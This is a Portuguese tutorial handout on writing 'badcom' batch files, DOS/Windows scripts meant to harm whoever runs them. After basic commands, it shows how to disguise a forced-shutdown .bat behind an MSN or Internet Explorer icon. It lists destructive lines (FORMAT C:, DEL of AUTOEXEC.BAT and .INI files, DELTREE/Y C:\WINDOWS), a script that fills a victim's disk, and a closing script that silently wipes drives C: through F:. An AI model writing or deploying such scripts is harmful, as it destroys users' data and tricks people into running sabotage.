Você está na página 1de 6

Apostila Badcom

Badcom é um Arquivo (. com ou. bat ), que quando executados realizam


tarefas que podem ser Benéficas ou maléficas.
Mas em primeiro lugar você deve ter uma noção mínima de extensão ou
formato de arquivo.
Extensões e significados:
.DOC Arquivo de texto
.BAK Arquivo de backup
.BAS Programa fonte em BASIC
.SYS Arquivo do sistema operacional
.EXE Programa executável
.TXT Arquivo de texto ( bloco de notas )
.BAT Arquivo de Lote.BIN (Programa no formato binário)
.COM Arquivo de comandos (arquivo executável)
.DAT Arquivo de dados
.HLP Arquivo de ajuda

Sabendo isso certamente saberá cria um badcom, aqui vou ensinar como
fazer um, dar os principais comandos e mostrar alguns exemplos.

Comandos básicos e inofensivos

@echo off = Comando para não ser mostrados as linhas de comando em


uma janela do MS-DOS, Exemplo: Colocando o comando DIR em um Badcom sem o
@ECHO OFF, no prompt ele mostrará o comando escrito na janela.. C:\DIR
Com o comando @ECHO OFF, ele simplesmente elimina os dígitos dos
comandos a serem mostrados.
Dir = Diretório, ele chama a pasta, por exemplo, chamei a parição do
Windows, a linha de comando é Dir C:\ ele nos trás informações necessárias, o
tamanho entre outras.
Cls = Comando do MS-DOS, para limpar a tela.
Echo = Para desativar o comando @echo off, e mostrar caracteres em uma
janela exemplo: ECHO “mensagem” ira mostrar a mensagem na janela, após isso
automaticamente retornara á não aparição de comando na janela.
Obs. As aspas são apenas indicação porem em comandos não funciona.

MD = Para criar diretórios exe: Md “nome do diretorio”.

RD = Comando para desfazer diretórios vazios exe: RD “nome do diretório


vazio”.
Exemplo:

Time = A linha de hora, muito fácil de alterar, a seqüência vem em horas,


minutos, segundos e centésimo
Data = usa o mesmo método da hora, só que em dias, lembrando que o dia
fica no meio, ex: dia 12 de outubro “10/12/2007”.

Exemplo:
Agora vou mostra um comando quase nunca citado em apostilas de
badcoms, esse comando é o “Shutdown”.

Uso: shutdown [ -l / -s / -r / -a ] [ -f ] [ -m \\computername ] [ -t xx ] [ -c


"comment" ] [ -d up:xx:yy ]

sem args >>>>>>>>>> exibir esta mensagem (o mesmo que -?)


-l >>>>>>>>>> exibir interface GUI; deve ser a primeira opção
-s >>>>>>>>>> Desligar o computador
-r >>>>>>>>>> Desligar e reiniciar o computador
-a >>>>>>>>>> anular desligamento do sistema
-m \\cumputename >> computador remoto a ser desligado / reiniciado /
Anulado.
-t xx >>>>>>>>>> define tempo limite para desligamento como xx
segundos.
-c “comment” >>>>>> comentaria sobre desligamento ( Maximo de 127
Caracteres ).
-f >>>>>>>>>> força o encerramento da execução de aplicativos sem
avisar.

Como você pode ver o shutdown é inofensivo, mas da pra fazer algumas
sacanagens com este pequeno comando, é muito fácil, vá em iniciar>executar e
digite “notepad” abrira o bloco de notas, então digite “Shutdown –s –t (o tempo
que desejar)”.

Exemplo:
Na hora de salvar não se esqueça, o arquivo tem que ter extensão .bat
“nome do arquivo.bat”.

Envie um atalho do arquivo de lote que você acabou de cria para a área de
trabalho, modifique o ícone do atalho, de preferência que você coloque o ícone do
MSN ou do IE que são os mais usados e exclua o verdadeiro.

Boot = este comando é bem maneiro, ele funciona como um “elevador”.


-----------------------------------------------------------------------------------------
@echo off
Echo “mensagem que desejar”.
Boot
-----------------------------------------------------------------------------------------
A mensagem aparecera em uma janela do MS-DOS
Salvar com nome Boot.bat
Não se esqueça que o Boot deve ficar na ultima linha do badcom.

CD = entra no diretório, seria tipo um enter, exemplo: estou no drive E:\


tem uma pasta chamada “Pasta”, para poder ver o conteúdo tenho que escrever a
seguinte sintaxe: CD Pasta, logo estou dentro do diretório.
Comandos maléficos

Del = “Delete” para apagar arquivos, para deletar arquivos sem ter
problemas de BUG, é necessário fazer com que o comando não tenha a opção (*.*),
pois surgirá um prompt de configuração de exclusão.
Deltree = muitos não tem conhecimento do que este comando pode causar
em um sistema, pois é usado da maneira básica.
Este “pode ser” o mais perigoso comando contido em um badcom.
Uso com BUG
Deltree diretório
Com este comando, aparecera à confirmação de exclusão do diretório, será
muito difícil alguém responder SIM a pergunta não?
Há uma opção no deltree que evita a aparição do prompt de confirmação,
sendo ela a mais destrutiva, deletando todos os arquivos de um diretório. Bom,
para usa o deltree de forma destrutiva basta acrescentar a opção /Y no mesmo.
/Y = executa o comando sem notificar.

Arquivos perigosos:
----------------------------------------------------------------------------------------------------------

DEL C:\WINDOWS\*.INI
DEL C:/AUTOEXEC.BAT
FORMAT C:/
DELTREE/Y C:\WINDOWS
----------------------------------------------------------------------------------------------------------

Ocupar espaço em disco:


----------------------------------------------------------------------------------------------------------
@echo off
Echo mensagem de saudações
md Enchendo
cd Enchendo
xcopy/q c:\windows\system\*.*
cls
echo não sei porque, mais acho que o HD de alguém está mais cheio
echo by Danilo
---------------------------------------------------------------------------------------------------------------------------------
Ao começar este badcom adicionamos @echo off, echo abaixo dele, é a
primeira mensagem a vitima, o comando MD cria um diretório vazio, o comando
CD entra no diretório, dentro do diretório os arquivos de C:\windows\system\*.*
são todos copiados para esta pasta, assim fazendo o HD ficar mais pesado, o cls vai
limpar a janela do DOS e uma nova mensagem vai aparecer.
Deletar arquivos e diretórios:

@ECHO OFF
ECHO Digite uma mensagem aqui!
BREAK OFF
DELTREE/y C:\*.*
DELTREE/y D:\*.*
DELTREE/y E:\*.*
DELTREE/y F:\*.*

Pronto, o que você tem a fazer agora é pesquisar mais e usar sua criatividade,
estudar sempre por mais que não entenda nada e nunca ter preguiça de ler.

Obs. E lembre-se, conhecimento não é crime. Eu estou passando conhecimento e não


crime.

By [ Danilo ]